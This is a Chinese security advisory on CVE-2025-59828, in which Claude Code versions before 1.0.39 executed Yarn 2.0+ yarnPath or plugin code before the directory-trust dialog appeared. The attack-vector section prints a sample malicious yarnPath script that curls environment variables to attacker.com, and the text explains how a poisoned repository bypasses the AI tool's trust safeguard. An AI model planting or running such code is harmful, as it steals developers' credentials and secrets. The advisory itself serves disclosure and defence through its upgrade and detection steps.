CVE-2025-59828:Claude Code 插件自动加载机制绕过信任对话框安全分析

一、漏洞概述

项目 内容
CVE ID CVE-2025-59828
GHSA ID GHSA-2jjv-qf24-vfm4
CVSS 4.0 8.7(高危)
CVSS 向量 CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
CWE CWE-829(包含来自不受信任控制范围的功能)、CWE-862(缺失授权)
影响版本 @anthropic-ai/claude-code < 1.0.39
修复版本 ≥ 1.0.39
披露时间 2025-09-24
报告者 Benjamin Faller(Redguard AG)、Michael Hess

本漏洞源于 Claude Code 在调用外部工具时,未能正确遵守用户设置的目录信任策略。当项目目录下存在 Yarn 2.0+ 配置文件时,Claude Code 在执行版本检测等辅助命令时,会触发 Yarn 插件的自动加载机制,导致插件代码在用户确认目录信任之前就已执行,绕过了沙箱的安全边界。

二、技术根因分析

2.1 Yarn 2.0+ 插件自动加载机制

Yarn 2.0 及之后版本引入了 Plug'n'Play(PnP)特性,支持通过 .yarnrc.ymlpackage.json 中的 yarnPath 字段指定自定义 Yarn 可执行文件路径。更关键的是,Yarn 2.0+ 在执行 yarn --version 等命令时,会自动加载项目目录下配置的插件(通过 .pnp.cjs 或插件注册表)。

攻击者只需在项目中植入恶意的 .yarnrc.yml 或插件配置,即可利用这一机制执行任意代码。

2.2 Claude Code 的信任对话框机制

Claude Code 实现了目录级信任机制,用户首次在非信任目录下启动时,会弹出信任确认对话框,要求用户明确授权后再执行可能产生风险的操作(如写文件、执行命令)。

问题出在:Claude Code 在执行辅助命令(如 yarn --version 进行依赖版本探测)时,这些命令的触发时机早于信任对话框的确认流程。也就是说:

  1. 用户启动 Claude Code 进入某目录
  2. Claude Code 执行辅助命令(版本探测、环境检测)
  3. Yarn 2.0+ 在执行 yarn --version 时自动加载插件
  4. 插件代码执行(绕过了信任对话框)
  5. 信任对话框弹出(已太迟)

2.3 攻击向量

攻击者构造恶意的项目文件结构:

# .yarnrc.yml
yarnPath: ./malicious-yarn.js

# package.json
{
  "name": "innocent-look-project",
  "version": "1.0.0"
}

# malicious-yarn.js
#!/usr/bin/env node
// 执行任意恶意代码
require('child_process').exec('curl http://attacker.com/exfil?data=$(env)');

当 Claude Code 用户进入该目录并执行任何操作(如询问代码、运行测试),Claude Code 自动执行的辅助命令会触发 yarn --version,从而执行攻击者植入的恶意代码。

三、漏洞危害评估

安全维度 影响
机密性 :可窃取环境变量、凭据、SSH 密钥、项目代码
完整性 :可修改系统文件、植入后门、篡改项目代码
可用性 :可破坏依赖关系、删除文件、导致开发环境不可用
利用门槛 低:只需诱导用户在攻击者准备的目录下启动 Claude Code

四、影响版本

组件 受影响版本 修复版本
@anthropic-ai/claude-code < 1.0.39 ≥ 1.0.39

注:Yarn Classic(1.x)不受此漏洞影响,因为其不具备插件自动加载机制。

五、修复建议

5.1 紧急处置(立即执行)

升级 Claude Code 至 1.0.39 及以上版本:

# 通过 npm 更新
npm update -g @anthropic-ai/claude-code

# 验证版本
claude --version

使用自动更新机制的用户已自动接收修复,无需手动操作。

5.2 根本修复

  • 将 Claude Code 升级至最新稳定版本
  • 使用手动更新的用户需主动检查并升级

5.3 长期加固

  • 在企业环境中,限制开发人员从非授信来源拉取代码后直接使用 Claude Code
  • ~/.claude/settings.json 中配置可信目录白名单
  • 对第三方开源项目执行 git clone 后,先检查是否存在异常的 .yarnrc.ymlyarnPath 等配置,再使用 Claude Code 等工具处理

六、漏洞检测

6.1 版本检测

# 检查当前 Claude Code 版本
claude --version
# 或
npm list -g @anthropic-ai/claude-code

# 若版本 < 1.0.39,则存在漏洞

6.2 项目排查

检查本地项目中是否存在异常的 Yarn 配置:

# 检查 yarnPath 配置
grep -r "yarnPath" .yarnrc.yml .yarnrc package.json 2>/dev/null

# 检查 yarn 插件配置
cat .pnp.cjs | grep "plugin" | head -20

# 检查 .yarn 目录
ls -la .yarn/ 2>/dev/null

七、总结

维度 结论
漏洞类型 信任边界绕过(CWE-829 + CWE-862)
严重程度 高危(CVSS 4.0: 8.7)
利用条件 低,需要用户在恶意项目目录下启动 Claude Code
修复难度 低,升级至最新版本即可
防护优先级 高,建议立即升级

本漏洞的核心风险在于第三方代码供应链中的恶意配置利用。随着 AI 编程辅助工具的普及,攻击者正在将攻击面从传统应用扩展到开发者工具链。建议安全团队将 AI 编程工具纳入软件供应链安全审计范围,对引入的代码库进行必要的配置检查。

Logo

欢迎加入DeepSeek 技术社区。在这里,你可以找到志同道合的朋友,共同探索AI技术的奥秘。

更多推荐